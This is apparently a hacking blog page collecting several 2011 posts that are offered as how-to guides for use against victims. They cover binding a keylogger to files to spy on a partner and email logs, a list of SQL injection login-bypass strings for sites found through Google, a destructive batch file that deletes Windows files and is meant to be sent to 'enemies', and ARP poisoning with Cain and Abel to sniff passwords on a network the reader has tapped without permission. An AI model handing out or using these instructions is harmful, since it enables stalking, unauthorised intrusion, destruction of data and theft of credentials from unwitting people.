Showing posts with label Intermediate Hacking. Show all posts
Showing posts with label Intermediate Hacking. Show all posts

Sunday, October 9, 2011

Hack All Accounts With Keylogger




Hello!
         Today on our facebook fan page a girl requested me to give her a keylogger that works. She said

                  "Hi, Can you please give me a Keylogger and tell me how to send it to someone?
                   I wanna know if my boyfriend is cheating me? Please help me. I searched a lot
                   about it, but all the keyloggers I found on the other sites were not working. Please
                   give me a Keylogger that works. Thanks!"


Lol! she needs a keylogger just to know what her boyfriend is doing. :)
OK now lets come to the point. I already have posted about it in Chapter 9 : Hack into Someone's PC using Keylogger but right now I'm posting full and latest version of keylogger.
Download the keylogger by clicking HERE.
The password is wannahackit.blogspot.com
It's already registered you don't need to do anything to register it.

Send Keylogger To The Victim:
                                                                    After downloading and installing keylogger to your PC, you'll see a little notepad icon in your system tray, right click on it and click on Remote Installation a file will open, click on Next, if you wanna append keylogger with a video, image, audio or with any file, check on append keylogger engine to file or another application then click on browse and select the file you wanna append keylogger with and click Next four times. Now check on send logs every and set the time 10 minutes and click Next now write the email address on which you wanna receive logs then write its password and click Next four times. Now select the destination, click Next then click Finish and you are Done!





Sunday, August 21, 2011

Hack Website With SQL Injection



Hello!
         In this post I'm gonna tell you how to hack and Admin access to a low security website with the help of SQL injection. SQL injection is a technique from which you can Admin login to a website without knowing the password. SQL stands for Structured Query Language. You can create new databases, delete records from a database, set permissions on tables, procedures, and views etc... The most important thing to admin login to a website with SQL is SQL injection strings.



How To Admin Access On Low Secured Websites?
To admin access to a low security website, first of all go to google.com and type admin login.asp. now choose your victim site and click on it. Now in Username, type admin, and in password paste any of the string given below and hit enter.
STRINGS:

1'or'1'='1
admin'--
' or 1=1--
'" or 1=1--
' union select 1, 'Eyeless', 'ez2do', 1--
administrator'--
superuser'--
test'--
' or 0=0 --
' or 0=0 --'
' or 0=0 # 
" or 0=0 --
" or 0=0 --'
'" or 0=0 --
or 0=0 -- 
' or 0=0 # 
" or 0=0 # 
or 0=0 # 
' or 'x'='x 
" or "x"="x 
') or ('x'='x 
" or 1=1-- 
or 1=1-- 
' or a=a--'
' or a=a #
' or a=a--
' or "a"="a 
' or 'a'='a 
" or "a"="a 
') or ('a'='a 
") or ("a"="a 
hi" or "a"="a 
hi" or 1=1 -- 
hi' or 1=1 -- 
hi' or 'a'='a 
hi') or ('a'='a 
hi") or ("a"="a 
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
The first string is the most important one. Many of the times it will say login failed but keep on trying with different strings.
NOTE: This technique will work only on low secured websites, not on every website.


Monday, August 15, 2011

How To Make A Real Virus



Hello!
         Have you ever tried to take a revenge, but failed? or tried to make a virus?
In this post I'm gonna show you how to make a virus and completely destroy the PC of your enemy. As I always say "no mercy for enemies", so I'm gonna show you how to delete your enemie's windows. Before this post I showed you how to Make a fake shocking virus..!! but this time, its a real tragedy for your enemies...
To make a virus that deletes your victim's windows, just follow these simple steps..




STEPS:
1- Open notepad.
2- Type the below simple commands in it.
@echo off del c:\\windows\system 32
3- Now save it as  file.bat
4- Done!
After that, DON'T EVER TRY TO OPEN IT AT ANY COST. Now go ahead and send it to your enemies and take an awesome revenge.
Actually it's not a virus, its just a command to delete windows...




Friday, August 5, 2011

Check Your Antivirus Program



Hello!
         Sometimes we install an Antivirus and think that it will save my computer from any kind of virus... But its not true. Some of the antiviruses are not good enough to protect your computer, they just stay in your PC, do nothing and let the virus harm your Computer. So what we can do to check our antivirus program?

In this post I'm gonna show you how to make a simple text file an harmless virus to check whether our antivirus is working or not. 
To make a harmless virus just Copy and Paste this Blue text given below in a text file and save it as a .com file.


Text:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*



If your antivirus detects it as a virus then relax because your antivirus is working, but if it dosen't detects it the delete that antivirus and install a new one.







Friday, February 11, 2011

How to implement an ARP poisoning attack

Skill level:Intermediate                                Sucess rate:60%
The ARP poisoning attack:
The concept behind this is simple. ARP is the protocol that maintains network devices tables up-to-date by associating an IP address with a MAC address. The problem with ARP is that it doesn’t really care about who answered, it will gladly update the tables from whoever says so. Most of the time, it won’t even ask. So the idea behind the attack, is to send the client an ARP answer saying “hey, I’m the gateway, send stuff to me” and a second ARP answer to the real gateway saying “hey there, I’m this guy, send me his stuff”. Then you just have to relay the packets between the victim and the gateway.Those schemas are more simply to understand
In Linux, the rerouting can be done using the following iptables commands:
iptables -t nat -A PREROUTING -i  -p tcp –dport  -j REDIRECT –to-port 
iptables -t nat -D PREROUTING -i  -p tcp –dport  -j REDIRECT –to-port 







ARP Spoofing/poising Animation

The attacker is constently sending false ARP messages to the victim causing it to update its ARP table. When you ready to send Ping, watch closley where the ping goes.




How to implement an ARP poisoning attack?








What you will need:







Now onto how to do this:
1) Download and install cain and able.
2) Set your laptop up and steal an ethernet connection from a nearby computer on the network. Plug the Ethernet cable in. You are now connected. With no restrictions on what you can run.
3) Start cain and able.
4) Now click on the sniffer tab. Now notice the two symbols – the one that looks the same as the one on the sniffer tab and the one that looks like a nuclear sign.
5) Mouse over them and they will tell you that one starts the sniffer and the other starts arp poisoning.
6) Now click on configure -> click on the arp tab and make sure that you are using your real ip and mac address, if you don’t you wont get any hosts or be able to arp poision.
7) Now start the sniffer and press the blue plus sign. This will let you scan for hosts in your subnet.
 8) Now go back to configure and select use a spoofed ip and mac address. Now type an ip from your sub net but the last bit must be numbers that are unused so the network doesn’t get confused.
9) Select all the hosts you find and right click and go resolve host name. Now try to find the router, it will usually stand out easily. The router probably wont have a name as well as being a different brand from everything else and have a really low or really high ip address so you should spot it easily.
10) Now click on the arp tab at the bottom of the sniffer window. Click on the top table part and click the blue plus sign again. This brings up a window that allows you to select the ip addresses that you want to arp poison the first one you select should be the router and in the second box select any computers you want to listen to.
11) Click ok. Click the start arp button. You are now listening between the router and as many computers as you selected.
12) Watch as the routed packets role in. Select the password tab at the bottom of the screen and watch the passwords appear.
13) Any password hashes can be sent to the cracker and broken form there but that isn’t going to be covered in this article. I am sure you can work that out or may be I shall post it later.